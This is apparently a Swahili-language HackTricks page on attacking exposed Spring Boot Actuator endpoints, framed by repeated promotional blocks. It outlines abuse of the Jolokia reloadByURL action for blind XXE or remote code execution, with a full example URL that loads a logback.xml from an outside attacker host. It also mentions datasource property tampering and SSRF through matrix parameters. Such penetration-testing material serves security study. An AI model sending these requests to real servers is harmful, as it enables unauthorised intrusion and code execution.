<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Spring Boot Actuators hujisajili kwa njia kama vile `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo 1 hadi 1.4, sehemu hizi zinapatikana bila uwakilishi. Kutoka toleo 1.5 kuendelea, ni `/health` na `/info` pekee ambazo sio nyeti kwa default, lakini wabunifu mara nyingi huzima usalama huu.
* Hatua ya `reloadByURL` inaweza kutumika kutekeleza upya mizunguko ya kuingiza kutoka kwa URL ya nje, ambayo inaweza kusababisha XXE ya upofu au Utekelezaji wa Kanuni Kijijini kupitia mizunguko iliyoundwa ya XML.
* URL ya kutekeleza mfano: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
* Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa mbinu mbalimbali za kudanganya, kama vile kuingiza SQL au kubadilisha misemo ya uunganisho wa database.
* Orodha kamili ya actuators za msingi inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
* Sehemu ya `/env` katika Spring Boot 2.x hutumia muundo wa JSON kwa ubadilishaji wa mali, lakini dhana kuu inabaki ile ile.
* Maelezo kuhusu kutumia mchanganyiko wa sehemu ya `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
* Kushughulikia kwa Spring framework ya vigezo vya matriki (`;`) katika majina ya njia za HTTP kunaweza kutumika kwa Server-Side Request Forgery (SSRF).
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.